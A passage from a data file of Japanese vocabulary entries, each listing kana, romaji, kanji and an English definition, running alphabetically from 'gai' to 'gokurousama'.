taste;elegance;grace\"\n\t},\n\n\t{\n\t\t'kana':'がい',\n\t\t'romaji':'gai',\n\t\t'kanji':'街',\n\t\t'definition':\"~street;~quarters\"\n\t},\n\n\t{\n\t\t'kana':'がい',\n\t\t'romaji':'gai',\n\t\t'kanji':'蓋',\n\t\t'definition':\"cover;lid;cap\"\n\t},\n\n\t{\n\t\t'kana':'がい',\n\t\t'romaji':'gai',\n\t\t'kanji':'害',\n\t\t'definition':\"injury;harm;evil influence;damage\"\n\t},\n\n\t{\n\t\t'kana':'がいぶ',\n\t\t'romaji':'gaibu',\n\t\t'kanji':'外部',\n\t\t'definition':\"the outside;external\"\n\t},\n\n\t{\n\t\t'kana':'ガイド',\n\t\t'romaji':'gaido',\n\t\t'kanji':'',\n\t\t'definition':\"tour guide\"\n\t},\n\n\t{\n\t\t'kana':'ガイドブック',\n\t\t'romaji':'gaidobuku',\n\t\t'kanji':'',\n\t\t'definition':\"guidebook\"\n\t},\n\n\t{\n\t\t'kana':'がいか',\n\t\t'romaji':'gaika',\n\t\t'kanji':'外貨',\n\t\t'definition':\"imported goods;foreign money\"\n\t},\n\n\t{\n\t\t'kana':'がいかん',\n\t\t'romaji':'gaikan',\n\t\t'kanji':'外観',\n\t\t'definition':\"appearance;exterior;facade\"\n\t},\n\n\t{\n\t\t'kana':'がいこく',\n\t\t'romaji':'gaikoku',\n\t\t'kanji':'外国',\n\t\t'definition':\"foreign country\"\n\t},\n\n\t{\n\t\t'kana':'がいこう',\n\t\t'romaji':'gaikou',\n\t\t'kanji':'外交',\n\t\t'definition':\"diplomacy\"\n\t},\n\n\t{\n\t\t'kana':'がいねん',\n\t\t'romaji':'gainen',\n\t\t'kanji':'概念',\n\t\t'definition':\"general idea;concept;notion\"\n\t},\n\n\t{\n\t\t'kana':'がいらい',\n\t\t'romaji':'gairai',\n\t\t'kanji':'外来',\n\t\t'definition':\"imported;outpatient clinic\"\n\t},\n\n\t{\n\t\t'kana':'がいろん',\n\t\t'romaji':'gairon',\n\t\t'kanji':'概論',\n\t\t'definition':\"intro;outline;general remarks\"\n\t},\n\n\t{\n\t\t'kana':'がいりゃく',\n\t\t'romaji':'gairyaku',\n\t\t'kanji':'概略',\n\t\t'definition':\"outline;summary;gist;in brief\"\n\t},\n\n\t{\n\t\t'kana':'がいせつ',\n\t\t'romaji':'gaisetsu',\n\t\t'kanji':'概説',\n\t\t'definition':\"general statement;outline\"\n\t},\n\n\t{\n\t\t'kana':'がいしょう',\n\t\t'romaji':'gaishou',\n\t\t'kanji':'外相',\n\t\t'definition':\"Foreign Minister\"\n\t},\n\n\t{\n\t\t'kana':'がいしゅつ',\n\t\t'romaji':'gaishutsu',\n\t\t'kanji':'外出',\n\t\t'definition':\"outing;going out\"\n\t},\n\n\t{\n\t\t'kana':'がいする',\n\t\t'romaji':'gaisuru',\n\t\t'kanji':'害する',\n\t\t'definition':\"to injure;to damage;to harm;to kill;to hinder\"\n\t},\n\n\t{\n\t\t'kana':'がいとう',\n\t\t'romaji':'gaitou',\n\t\t'kanji':'街頭',\n\t\t'definition':\"in the street\"\n\t},\n\n\t{\n\t\t'kana':'がいとう',\n\t\t'romaji':'gaitou',\n\t\t'kanji':'該当',\n\t\t'definition':\"corresponding;answering to;coming under\"\n\t},\n\n\t{\n\t\t'kana':'がっか',\n\t\t'romaji':'gaka',\n\t\t'kanji':'学科',\n\t\t'definition':\"study subject;course of study\"\n\t},\n\n\t{\n\t\t'kana':'がか',\n\t\t'romaji':'gaka',\n\t\t'kanji':'画家',\n\t\t'definition':\"painter;artist\"\n\t},\n\n\t{\n\t\t'kana':'がけ',\n\t\t'romaji':'gake',\n\t\t'kanji':'崖',\n\t\t'definition':\"cliff\"\n\t},\n\n\t{\n\t\t'kana':'がっき',\n\t\t'romaji':'gaki',\n\t\t'kanji':'学期',\n\t\t'definition':\"term (school)\"\n\t},\n\n\t{\n\t\t'kana':'がっき',\n\t\t'romaji':'gaki',\n\t\t'kanji':'楽器',\n\t\t'definition':\"musical instrument\"\n\t},\n\n\t{\n\t\t'kana':'がっかい',\n\t\t'romaji':'gakkai',\n\t\t'kanji':'学会',\n\t\t'definition':\"scientific society;academic meeting\"\n\t},\n\n\t{\n\t\t'kana':'がっかり',\n\t\t'romaji':'gakkari',\n\t\t'kanji':'',\n\t\t'definition':\"feel disappointed;be dejected;lose heart;feel emotionally drained;feel let down\"\n\t},\n\n\t{\n\t\t'kana':'がっこう',\n\t\t'romaji':'gakkou',\n\t\t'kanji':'学校',\n\t\t'definition':\"school\"\n\t},\n\n\t{\n\t\t'kana':'がっくり',\n\t\t'romaji':'gakkuri',\n\t\t'kanji':'',\n\t\t'definition':\"heartbroken\"\n\t},\n\n\t{\n\t\t'kana':'がく',\n\t\t'romaji':'gaku',\n\t\t'kanji':'額',\n\t\t'definition':\"picture (framed);amount or sum (of money)\"\n\t},\n\n\t{\n\t\t'kana':'がく',\n\t\t'romaji':'gaku',\n\t\t'kanji':'額',\n\t\t'definition':\"picture (framed);amount or sum (of money)\"\n\t},\n\n\t{\n\t\t'kana':'がく',\n\t\t'romaji':'gaku',\n\t\t'kanji':'額',\n\t\t'definition':\"picture (framed);amount or sum (of money)\"\n\t},\n\n\t{\n\t\t'kana':'がくぶ',\n\t\t'romaji':'gakubu',\n\t\t'kanji':'学部',\n\t\t'definition':\"department of a university;undergraduate\"\n\t},\n\n\t{\n\t\t'kana':'がくふ',\n\t\t'romaji':'gakufu',\n\t\t'kanji':'楽譜',\n\t\t'definition':\"score (music)\"\n\t},\n\n\t{\n\t\t'kana':'がくげい',\n\t\t'romaji':'gakugei',\n\t\t'kanji':'学芸',\n\t\t'definition':\"arts and sciences;liberal arts\"\n\t},\n\n\t{\n\t\t'kana':'がくじゅつ',\n\t\t'romaji':'gakujyutsu',\n\t\t'kanji':'学術',\n\t\t'definition':\"science;learning;scholarship\"\n\t},\n\n\t{\n\t\t'kana':'がくもん',\n\t\t'romaji':'gakumon',\n\t\t'kanji':'学問',\n\t\t'definition':\"scholarship;study;learning\"\n\t},\n\n\t{\n\t\t'kana':'がくねん',\n\t\t'romaji':'gakunen',\n\t\t'kanji':'学年',\n\t\t'definition':\"year in school;grade in school\"\n\t},\n\n\t{\n\t\t'kana':'がくれき',\n\t\t'romaji':'gakureki',\n\t\t'kanji':'学歴',\n\t\t'definition':\"academic background\"\n\t},\n\n\t{\n\t\t'kana':'がくりょく',\n\t\t'romaji':'gakuryoku',\n\t\t'kanji':'学力',\n\t\t'definition':\"scholarship;knowledge;literary ability\"\n\t},\n\n\t{\n\t\t'kana':'がくせい',\n\t\t'romaji':'gakusei',\n\t\t'kanji':'学生',\n\t\t'definition':\"student\"\n\t},\n\n\t{\n\t\t'kana':'がくせつ',\n\t\t'romaji':'gakusetsu',\n\t\t'kanji':'学説',\n\t\t'definition':\"theory\"\n\t},\n\n\t{\n\t\t'kana':'がくしゃ',\n\t\t'romaji':'gakusha',\n\t\t'kanji':'学者',\n\t\t'definition':\"scholar\"\n\t},\n\n\t{\n\t\t'kana':'がくし',\n\t\t'romaji':'gakushi',\n\t\t'kanji':'学士',\n\t\t'definition':\"university graduate\"\n\t},\n\n\t{\n\t\t'kana':'がくしゅう',\n\t\t'romaji':'gakushuu',\n\t\t'kanji':'学習',\n\t\t'definition':\"study\"\n\t},\n\n\t{\n\t\t'kana':'がっきゅう',\n\t\t'romaji':'gakyuu',\n\t\t'kanji':'学級',\n\t\t'definition':\"grade in school\"\n\t},\n\n\t{\n\t\t'kana':'がまん',\n\t\t'romaji':'gaman',\n\t\t'kanji':'我慢',\n\t\t'definition':\"patience;endurance;perseverance;tolerance;self-control;self-denial\"\n\t},\n\n\t{\n\t\t'kana':'ガム',\n\t\t'romaji':'gamu',\n\t\t'kanji':'',\n\t\t'definition':\"chewing gum\"\n\t},\n\n\t{\n\t\t'kana':'がん',\n\t\t'romaji':'gan',\n\t\t'kanji':'癌',\n\t\t'definition':\"cancer\"\n\t},\n\n\t{\n\t\t'kana':'がんばる',\n\t\t'romaji':'ganbaru',\n\t\t'kanji':'頑張る',\n\t\t'definition':\"to persist;to insist on;to stand firm;to try one's best\"\n\t},\n\n\t{\n\t\t'kana':'がんぶつ',\n\t\t'romaji':'ganbutsu',\n\t\t'kanji':'贋物',\n\t\t'definition':\"imitation;counterfeit;forgery;sham\"\n\t},\n\n\t{\n\t\t'kana':'がんじつ',\n\t\t'romaji':'ganjitsu',\n\t\t'kanji':'元日',\n\t\t'definition':\"New Year's Day\"\n\t},\n\n\t{\n\t\t'kana':'がんじょう',\n\t\t'romaji':'ganjyou',\n\t\t'kanji':'頑丈',\n\t\t'definition':\"solid;firm;stout;burly;strong;sturdy\"\n\t},\n\n\t{\n\t\t'kana':'がんか',\n\t\t'romaji':'ganka',\n\t\t'kanji':'眼科',\n\t\t'definition':\"ophthalmology\"\n\t},\n\n\t{\n\t\t'kana':'がんこ',\n\t\t'romaji':'ganko',\n\t\t'kanji':'頑固',\n\t\t'definition':\"stubbornness;obstinacy\"\n\t},\n\n\t{\n\t\t'kana':'がんきょう',\n\t\t'romaji':'gankyou',\n\t\t'kanji':'眼鏡',\n\t\t'definition':\"spectacles;glasses\"\n\t},\n\n\t{\n\t\t'kana':'がんきゅう',\n\t\t'romaji':'gankyuu',\n\t\t'kanji':'眼球',\n\t\t'definition':\"eyeball\"\n\t},\n\n\t{\n\t\t'kana':'がんねん',\n\t\t'romaji':'gannen',\n\t\t'kanji':'元年',\n\t\t'definition':\"first year (of a specific reign)\"\n\t},\n\n\t{\n\t\t'kana':'がんらい',\n\t\t'romaji':'ganrai',\n\t\t'kanji':'元来',\n\t\t'definition':\"originally;primarily;essentially;logically;naturally\"\n\t},\n\n\t{\n\t\t'kana':'がんせき',\n\t\t'romaji':'ganseki',\n\t\t'kanji':'岩石',\n\t\t'definition':\"rock\"\n\t},\n\n\t{\n\t\t'kana':'がんしょ',\n\t\t'romaji':'gansho',\n\t\t'kanji':'願書',\n\t\t'definition':\"written application or petition\"\n\t},\n\n\t{\n\t\t'kana':'がっぴ',\n\t\t'romaji':'gapi',\n\t\t'kanji':'月日',\n\t\t'definition':\"(the) date\"\n\t},\n\n\t{\n\t\t'kana':'がっぺい',\n\t\t'romaji':'gappei',\n\t\t'kanji':'合併',\n\t\t'definition':\"combination;union;amalgamation;consolidation;merger;coalition;fusion;annexation;affiliation;incorporation\"\n\t},\n\n\t{\n\t\t'kana':'ガラス',\n\t\t'romaji':'garasu',\n\t\t'kanji':'',\n\t\t'definition':\"glass;pane\"\n\t},\n\n\t{\n\t\t'kana':'ガレージ',\n\t\t'romaji':'gare-zi',\n\t\t'kanji':'',\n\t\t'definition':\"garage (at house)\"\n\t},\n\n\t{\n\t\t'kana':'がる',\n\t\t'romaji':'garu',\n\t\t'kanji':'',\n\t\t'definition':\"feel\"\n\t},\n\n\t{\n\t\t'kana':'がっしょう',\n\t\t'romaji':'gashou',\n\t\t'kanji':'合唱',\n\t\t'definition':\"chorus;singing in a chorus\"\n\t},\n\n\t{\n\t\t'kana':'ガソリン',\n\t\t'romaji':'gasorin',\n\t\t'kanji':'',\n\t\t'definition':\"gasoline;petrol\"\n\t},\n\n\t{\n\t\t'kana':'ガソリンスタンド',\n\t\t'romaji':'gasorinsutando',\n\t\t'kanji':'',\n\t\t'definition':\"gasoline stand;gas station\"\n\t},\n\n\t{\n\t\t'kana':'がっしり',\n\t\t'romaji':'gasshiri',\n\t\t'kanji':'',\n\t\t'definition':\"firmly;solidly;tough\"\n\t},\n\n\t{\n\t\t'kana':'ガス',\n\t\t'romaji':'gasu',\n\t\t'kanji':'',\n\t\t'definition':\"gas\"\n\t},\n\n\t{\n\t\t'kana':'がわ',\n\t\t'romaji':'gawa',\n\t\t'kanji':'側',\n\t\t'definition':\"side;row;surroundings;part;(watch) case\"\n\t},\n\n\t{\n\t\t'kana':'げいじゅつ',\n\t\t'romaji':'geijyutsu',\n\t\t'kanji':'芸術',\n\t\t'definition':\"(fine) art;the arts\"\n\t},\n\n\t{\n\t\t'kana':'げいのう',\n\t\t'romaji':'geinou',\n\t\t'kanji':'芸能',\n\t\t'definition':\"public entertainment;accomplishments;attainments\"\n\t},\n\n\t{\n\t\t'kana':'げじゅん',\n\t\t'romaji':'gejyun',\n\t\t'kanji':'下旬',\n\t\t'definition':\"month (last third of)\"\n\t},\n\n\t{\n\t\t'kana':'げか',\n\t\t'romaji':'geka',\n\t\t'kanji':'外科',\n\t\t'definition':\"surgical department\"\n\t},\n\n\t{\n\t\t'kana':'げき',\n\t\t'romaji':'geki',\n\t\t'kanji':'隙',\n\t\t'definition':\"1. chance or opportunity;chink (in one's armor); 2. interval;gap\"\n\t},\n\n\t{\n\t\t'kana':'げき',\n\t\t'romaji':'geki',\n\t\t'kanji':'劇',\n\t\t'definition':\"drama;play\"\n\t},\n\n\t{\n\t\t'kana':'げきだん',\n\t\t'romaji':'gekidan',\n\t\t'kanji':'劇団',\n\t\t'definition':\"troupe;theatrical company\"\n\t},\n\n\t{\n\t\t'kana':'げきじょう',\n\t\t'romaji':'gekijyou',\n\t\t'kanji':'劇場',\n\t\t'definition':\"theatre;playhouse\"\n\t},\n\n\t{\n\t\t'kana':'げきれい',\n\t\t'romaji':'gekirei',\n\t\t'kanji':'激励',\n\t\t'definition':\"encouragement\"\n\t},\n\n\t{\n\t\t'kana':'げきぞう',\n\t\t'romaji':'gekizou',\n\t\t'kanji':'激増',\n\t\t'definition':\"sudden increase\"\n\t},\n\n\t{\n\t\t'kana':'げっきゅう',\n\t\t'romaji':'gekyuu',\n\t\t'kanji':'月給',\n\t\t'definition':\"monthly salary\"\n\t},\n\n\t{\n\t\t'kana':'ゲーム',\n\t\t'romaji':'ge-mu',\n\t\t'kanji':'',\n\t\t'definition':\"game\"\n\t},\n\n\t{\n\t\t'kana':'げん',\n\t\t'romaji':'gen',\n\t\t'kanji':'原',\n\t\t'definition':\"original;primitive;primary;fundamental;raw\"\n\t},\n\n\t{\n\t\t'kana':'げん',\n\t\t'romaji':'gen',\n\t\t'kanji':'原',\n\t\t'definition':\"original;primitive;primary;fundamental;raw\"\n\t},\n\n\t{\n\t\t'kana':'げんばく',\n\t\t'romaji':'genbaku',\n\t\t'kanji':'原爆',\n\t\t'definition':\"atomic bomb\"\n\t},\n\n\t{\n\t\t'kana':'げんぶん',\n\t\t'romaji':'genbun',\n\t\t'kanji':'原文',\n\t\t'definition':\"the text;original\"\n\t},\n\n\t{\n\t\t'kana':'げんち',\n\t\t'romaji':'genchi',\n\t\t'kanji':'現地',\n\t\t'definition':\"actual place;local\"\n\t},\n\n\t{\n\t\t'kana':'げんだい',\n\t\t'romaji':'gendai',\n\t\t'kanji':'現代',\n\t\t'definition':\"nowadays;modern times;present-day\"\n\t},\n\n\t{\n\t\t'kana':'げんど',\n\t\t'romaji':'gendo',\n\t\t'kanji':'限度',\n\t\t'definition':\"limit;bounds\"\n\t},\n\n\t{\n\t\t'kana':'げんご',\n\t\t'romaji':'gengo',\n\t\t'kanji':'言語',\n\t\t'definition':\"language\"\n\t},\n\n\t{\n\t\t'kana':'げんいん',\n\t\t'romaji':'genin',\n\t\t'kanji':'原因',\n\t\t'definition':\"cause;origin;source\"\n\t},\n\n\t{\n\t\t'kana':'げんじつ',\n\t\t'romaji':'genjitsu',\n\t\t'kanji':'現実',\n\t\t'definition':\"reality\"\n\t},\n\n\t{\n\t\t'kana':'げんじょう',\n\t\t'romaji':'genjyou',\n\t\t'kanji':'現場',\n\t\t'definition':\"actual spot;scene;scene of the crime\"\n\t},\n\n\t{\n\t\t'kana':'げんじょう',\n\t\t'romaji':'genjyou',\n\t\t'kanji':'現状',\n\t\t'definition':\"present condition;existing state;status quo\"\n\t},\n\n\t{\n\t\t'kana':'げんじゅう',\n\t\t'romaji':'genjyuu',\n\t\t'kanji':'厳重',\n\t\t'definition':\"strict;rigour;severe;firm;strong;secure\"\n\t},\n\n\t{\n\t\t'kana':'げんかい',\n\t\t'romaji':'genkai',\n\t\t'kanji':'限界',\n\t\t'definition':\"limit;bound\"\n\t},\n\n\t{\n\t\t'kana':'げんかん',\n\t\t'romaji':'genkan',\n\t\t'kanji':'玄関',\n\t\t'definition':\"entranceway;entry hall\"\n\t},\n\n\t{\n\t\t'kana':'げんけい',\n\t\t'romaji':'genkei',\n\t\t'kanji':'原形',\n\t\t'definition':\"original form;base form\"\n\t},\n\n\t{\n\t\t'kana':'げんき',\n\t\t'romaji':'genki',\n\t\t'kanji':'元気',\n\t\t'definition':\"health(y);robust;vigor;energy;vitality;vim;stamina;spirit;courage;pep\"\n\t},\n\n\t{\n\t\t'kana':'げんきん',\n\t\t'romaji':'genkin',\n\t\t'kanji':'現金',\n\t\t'definition':\"cash;ready money;mercenary;self-interested\"\n\t},\n\n\t{\n\t\t'kana':'げんこう',\n\t\t'romaji':'genkou',\n\t\t'kanji':'原稿',\n\t\t'definition':\"manuscript;copy\"\n\t},\n\n\t{\n\t\t'kana':'げんこう',\n\t\t'romaji':'genkou',\n\t\t'kanji':'現行',\n\t\t'definition':\"present;current;in operation\"\n\t},\n\n\t{\n\t\t'kana':'げんみつ',\n\t\t'romaji':'genmitsu',\n\t\t'kanji':'厳密',\n\t\t'definition':\"strict;close\"\n\t},\n\n\t{\n\t\t'kana':'げんに',\n\t\t'romaji':'genni',\n\t\t'kanji':'現に',\n\t\t'definition':\"actually;really\"\n\t},\n\n\t{\n\t\t'kana':'げんり',\n\t\t'romaji':'genri',\n\t\t'kanji':'原理',\n\t\t'definition':\"principle;theory;fundamental truth\"\n\t},\n\n\t{\n\t\t'kana':'げんろん',\n\t\t'romaji':'genron',\n\t\t'kanji':'言論',\n\t\t'definition':\"discussion\"\n\t},\n\n\t{\n\t\t'kana':'げんりょう',\n\t\t'romaji':'genryou',\n\t\t'kanji':'原料',\n\t\t'definition':\"raw materials\"\n\t},\n\n\t{\n\t\t'kana':'げんさく',\n\t\t'romaji':'gensaku',\n\t\t'kanji':'原作',\n\t\t'definition':\"original work\"\n\t},\n\n\t{\n\t\t'kana':'げんさん',\n\t\t'romaji':'gensan',\n\t\t'kanji':'原産',\n\t\t'definition':\"place of origin;habitat\"\n\t},\n\n\t{\n\t\t'kana':'げんし',\n\t\t'romaji':'genshi',\n\t\t'kanji':'原始',\n\t\t'definition':\"origin;primeval\"\n\t},\n\n\t{\n\t\t'kana':'げんし',\n\t\t'romaji':'genshi',\n\t\t'kanji':'原子',\n\t\t'definition':\"atom\"\n\t},\n\n\t{\n\t\t'kana':'げんしょ',\n\t\t'romaji':'gensho',\n\t\t'kanji':'原書',\n\t\t'definition':\"original document\"\n\t},\n\n\t{\n\t\t'kana':'げんしょう',\n\t\t'romaji':'genshou',\n\t\t'kanji':'現象',\n\t\t'definition':\"phenomenon\"\n\t},\n\n\t{\n\t\t'kana':'げんしょう',\n\t\t'romaji':'genshou',\n\t\t'kanji':'減少',\n\t\t'definition':\"decrease;reduction;decline\"\n\t},\n\n\t{\n\t\t'kana':'げんしゅ',\n\t\t'romaji':'genshu',\n\t\t'kanji':'元首',\n\t\t'definition':\"ruler;sovereign\"\n\t},\n\n\t{\n\t\t'kana':'げんそ',\n\t\t'romaji':'genso',\n\t\t'kanji':'元素',\n\t\t'definition':\"chemical element\"\n\t},\n\n\t{\n\t\t'kana':'げんそく',\n\t\t'romaji':'gensoku',\n\t\t'kanji':'原則',\n\t\t'definition':\"principle;general rule\"\n\t},\n\n\t{\n\t\t'kana':'げんてい',\n\t\t'romaji':'gentei',\n\t\t'kanji':'限定',\n\t\t'definition':\"limit;restriction\"\n\t},\n\n\t{\n\t\t'kana':'げんてん',\n\t\t'romaji':'genten',\n\t\t'kanji':'減点',\n\t\t'definition':\"subtract;give a demerit\"\n\t},\n\n\t{\n\t\t'kana':'げんてん',\n\t\t'romaji':'genten',\n\t\t'kanji':'原典',\n\t\t'definition':\"original (text)\"\n\t},\n\n\t{\n\t\t'kana':'げんてん',\n\t\t'romaji':'genten',\n\t\t'kanji':'原点',\n\t\t'definition':\"origin (coordinates);starting point\"\n\t},\n\n\t{\n\t\t'kana':'げんゆ',\n\t\t'romaji':'genyu',\n\t\t'kanji':'原油',\n\t\t'definition':\"crude oil\"\n\t},\n\n\t{\n\t\t'kana':'げんざい',\n\t\t'romaji':'genzai',\n\t\t'kanji':'現在',\n\t\t'definition':\"present;up to now;nowadays;modern times;current\"\n\t},\n\n\t{\n\t\t'kana':'げんぞう',\n\t\t'romaji':'genzou',\n\t\t'kanji':'現像',\n\t\t'definition':\"developing (film)\"\n\t},\n\n\t{\n\t\t'kana':'げっぷ',\n\t\t'romaji':'gepu',\n\t\t'kanji':'月賦',\n\t\t'definition':\"monthly installment\"\n\t},\n\n\t{\n\t\t'kana':'げり',\n\t\t'romaji':'geri',\n\t\t'kanji':'下痢',\n\t\t'definition':\"diarrhoea\"\n\t},\n\n\t{\n\t\t'kana':'げっしゃ',\n\t\t'romaji':'gesha',\n\t\t'kanji':'月謝',\n\t\t'definition':\"monthly tuition fee\"\n\t},\n\n\t{\n\t\t'kana':'げしゃ',\n\t\t'romaji':'gesha',\n\t\t'kanji':'下車',\n\t\t'definition':\"alighting\"\n\t},\n\n\t{\n\t\t'kana':'げしゅく',\n\t\t'romaji':'geshuku',\n\t\t'kanji':'下宿',\n\t\t'definition':\"boarding;lodging;boarding house\"\n\t},\n\n\t{\n\t\t'kana':'げっそり',\n\t\t'romaji':'gessori',\n\t\t'kanji':'',\n\t\t'definition':\"being disheartened;losing weight\"\n\t},\n\n\t{\n\t\t'kana':'げすい',\n\t\t'romaji':'gesui',\n\t\t'kanji':'下水',\n\t\t'definition':\"drainage;sewage;ditch;gutter;sewerage\"\n\t},\n\n\t{\n\t\t'kana':'ゲスト',\n\t\t'romaji':'gesuto',\n\t\t'kanji':'',\n\t\t'definition':\"guest\"\n\t},\n\n\t{\n\t\t'kana':'げた',\n\t\t'romaji':'geta',\n\t\t'kanji':'下駄',\n\t\t'definition':\"geta (Japanese footwear);wooden clogs\"\n\t},\n\n\t{\n\t\t'kana':'げつまつ',\n\t\t'romaji':'getsumatsu',\n\t\t'kanji':'月末',\n\t\t'definition':\"end of the month\"\n\t},\n\n\t{\n\t\t'kana':'げつよう',\n\t\t'romaji':'getsuyou',\n\t\t'kanji':'月曜',\n\t\t'definition':\"Monday\"\n\t},\n\n\t{\n\t\t'kana':'ぎあん',\n\t\t'romaji':'gian',\n\t\t'kanji':'議案',\n\t\t'definition':\"legislative bill\"\n\t},\n\n\t{\n\t\t'kana':'ぎちょう',\n\t\t'romaji':'gichou',\n\t\t'kanji':'議長',\n\t\t'definition':\"chairman\"\n\t},\n\n\t{\n\t\t'kana':'ぎだい',\n\t\t'romaji':'gidai',\n\t\t'kanji':'議題',\n\t\t'definition':\"topic of discussion;agenda\"\n\t},\n\n\t{\n\t\t'kana':'ぎいん',\n\t\t'romaji':'giin',\n\t\t'kanji':'議員',\n\t\t'definition':\"member of the Diet congress or parliament\"\n\t},\n\n\t{\n\t\t'kana':'ぎじどう',\n\t\t'romaji':'gijidou',\n\t\t'kanji':'議事堂',\n\t\t'definition':\"Diet building\"\n\t},\n\n\t{\n\t\t'kana':'ぎじゅつ',\n\t\t'romaji':'gijyutsu',\n\t\t'kanji':'技術',\n\t\t'definition':\"art;technique;technology;skill\"\n\t},\n\n\t{\n\t\t'kana':'ぎかい',\n\t\t'romaji':'gikai',\n\t\t'kanji':'議会',\n\t\t'definition':\"Diet;congress;parliament\"\n\t},\n\n\t{\n\t\t'kana':'ぎけつ',\n\t\t'romaji':'giketsu',\n\t\t'kanji':'議決',\n\t\t'definition':\"resolution;decision;vote\"\n\t},\n\n\t{\n\t\t'kana':'ぎきょく',\n\t\t'romaji':'gikyoku',\n\t\t'kanji':'戯曲',\n\t\t'definition':\"play;drama\"\n\t},\n\n\t{\n\t\t'kana':'ぎもん',\n\t\t'romaji':'gimon',\n\t\t'kanji':'疑問',\n\t\t'definition':\"question;problem;doubt;guess\"\n\t},\n\n\t{\n\t\t'kana':'ぎむ',\n\t\t'romaji':'gimu',\n\t\t'kanji':'義務',\n\t\t'definition':\"duty;obligation;responsibility\"\n\t},\n\n\t{\n\t\t'kana':'ぎん',\n\t\t'romaji':'gin',\n\t\t'kanji':'銀',\n\t\t'definition':\"1. silver;silver coin;silver paint; 2. silver general (shogi)\"\n\t},\n\n\t{\n\t\t'kana':'ぎんこう',\n\t\t'romaji':'ginkou',\n\t\t'kanji':'銀行',\n\t\t'definition':\"bank\"\n\t},\n\n\t{\n\t\t'kana':'ぎんみ',\n\t\t'romaji':'ginmi',\n\t\t'kanji':'吟味',\n\t\t'definition':\"testing;scrutiny;careful investigation\"\n\t},\n\n\t{\n\t\t'kana':'ぎのう',\n\t\t'romaji':'ginou',\n\t\t'kanji':'技能',\n\t\t'definition':\"technical skill;ability;capacity\"\n\t},\n\n\t{\n\t\t'kana':'ぎり',\n\t\t'romaji':'giri',\n\t\t'kanji':'義理',\n\t\t'definition':\"duty;sense of duty;honor;decency;courtesy;debt of gratitude;social obligation\"\n\t},\n\n\t{\n\t\t'kana':'ぎろん',\n\t\t'romaji':'giron',\n\t\t'kanji':'議論',\n\t\t'definition':\"argument;discussion;dispute\"\n\t},\n\n\t{\n\t\t'kana':'ぎせい',\n\t\t'romaji':'gisei',\n\t\t'kanji':'犠牲',\n\t\t'definition':\"sacrifice\"\n\t},\n\n\t{\n\t\t'kana':'ぎし',\n\t\t'romaji':'gishi',\n\t\t'kanji':'技師',\n\t\t'definition':\"engineer;technician\"\n\t},\n\n\t{\n\t\t'kana':'ぎしき',\n\t\t'romaji':'gishiki',\n\t\t'kanji':'儀式',\n\t\t'definition':\"ceremony;rite;ritual;service\"\n\t},\n\n\t{\n\t\t'kana':'ぎっしり',\n\t\t'romaji':'gisshiri',\n\t\t'kanji':'',\n\t\t'definition':\"tightly;fully\"\n\t},\n\n\t{\n\t\t'kana':'ギター',\n\t\t'romaji':'gita-',\n\t\t'kanji':'',\n\t\t'definition':\"guitar\"\n\t},\n\n\t{\n\t\t'kana':'ぎわく',\n\t\t'romaji':'giwaku',\n\t\t'kanji':'疑惑',\n\t\t'definition':\"doubt;misgivings;distrust;suspicion\"\n\t},\n\n\t{\n\t\t'kana':'ぎぞう',\n\t\t'romaji':'gizou',\n\t\t'kanji':'偽造',\n\t\t'definition':\"forgery;falsification;fabrication;counterfeiting\"\n\t},\n\n\t{\n\t\t'kana':'ご',\n\t\t'romaji':'go',\n\t\t'kanji':'御',\n\t\t'definition':\"go-;honourable\"\n\t},\n\n\t{\n\t\t'kana':'ご',\n\t\t'romaji':'go',\n\t\t'kanji':'碁',\n\t\t'definition':\"Go (board game of capturing territory)\"\n\t},\n\n\t{\n\t\t'kana':'ご',\n\t\t'romaji':'go',\n\t\t'kanji':'語',\n\t\t'definition':\"language;word\"\n\t},\n\n\t{\n\t\t'kana':'ご',\n\t\t'romaji':'go',\n\t\t'kanji':'五',\n\t\t'definition':\"(num) five\"\n\t},\n\n\t{\n\t\t'kana':'ごばん',\n\t\t'romaji':'goban',\n\t\t'kanji':'碁盤',\n\t\t'definition':\"Go board\"\n\t},\n\n\t{\n\t\t'kana':'ごぶさた',\n\t\t'romaji':'gobusata',\n\t\t'kanji':'ご無沙汰',\n\t\t'definition':\"not writing or contacting for a while\"\n\t},\n\n\t{\n\t\t'kana':'ごちそう',\n\t\t'romaji':'gochisou',\n\t\t'kanji':'ご馳走',\n\t\t'definition':\"feast;treating (someone)\"\n\t},\n\n\t{\n\t\t'kana':'ごちそうさま',\n\t\t'romaji':'gochisousama',\n\t\t'kanji':'ご馳走さま',\n\t\t'definition':\"feast\"\n\t},\n\n\t{\n\t\t'kana':'ごえい',\n\t\t'romaji':'goei',\n\t\t'kanji':'護衛',\n\t\t'definition':\"guard;convoy;escort\"\n\t},\n\n\t{\n\t\t'kana':'ごがく',\n\t\t'romaji':'gogaku',\n\t\t'kanji':'語学',\n\t\t'definition':\"language study\"\n\t},\n\n\t{\n\t\t'kana':'ごげん',\n\t\t'romaji':'gogen',\n\t\t'kanji':'語源',\n\t\t'definition':\"word root;word derivation;etymology\"\n\t},\n\n\t{\n\t\t'kana':'ごご',\n\t\t'romaji':'gogo',\n\t\t'kanji':'午後',\n\t\t'definition':\"afternoon;p.m.;pm\"\n\t},\n\n\t{\n\t\t'kana':'ごはん',\n\t\t'romaji':'gohan',\n\t\t'kanji':'御飯',\n\t\t'definition':\"rice (cooked);meal\"\n\t},\n\n\t{\n\t\t'kana':'ごい',\n\t\t'romaji':'goi',\n\t\t'kanji':'語彙',\n\t\t'definition':\"vocabulary;glossary\"\n\t},\n\n\t{\n\t\t'kana':'ごじゅうおん',\n\t\t'romaji':'gojyuuon',\n\t\t'kanji':'五十音',\n\t\t'definition':\"the Japanese syllabary\"\n\t},\n\n\t{\n\t\t'kana':'ごかい',\n\t\t'romaji':'gokai',\n\t\t'kanji':'誤解',\n\t\t'definition':\"misunderstanding\"\n\t},\n\n\t{\n\t\t'kana':'ごく',\n\t\t'romaji':'goku',\n\t\t'kanji':'極',\n\t\t'definition':\"quite;very\"\n\t},\n\n\t{\n\t\t'kana':'ごく',\n\t\t'romaji':'goku',\n\t\t'kanji':'語句',\n\t\t'definition':\"words;phrases\"\n\t},\n\n\t{\n\t\t'kana':'ごくらく',\n\t\t'romaji':'gokuraku',\n\t\t'kanji':'極楽',\n\t\t'definition':\"paradise\"\n\t},\n\n\t{\n\t\t'kana':'ごくろうさま',\n\t\t'romaji':'gokurousama',\n\t\t'kanji':'ご苦労様',\n\t\t'definition':\"Thank you very much for 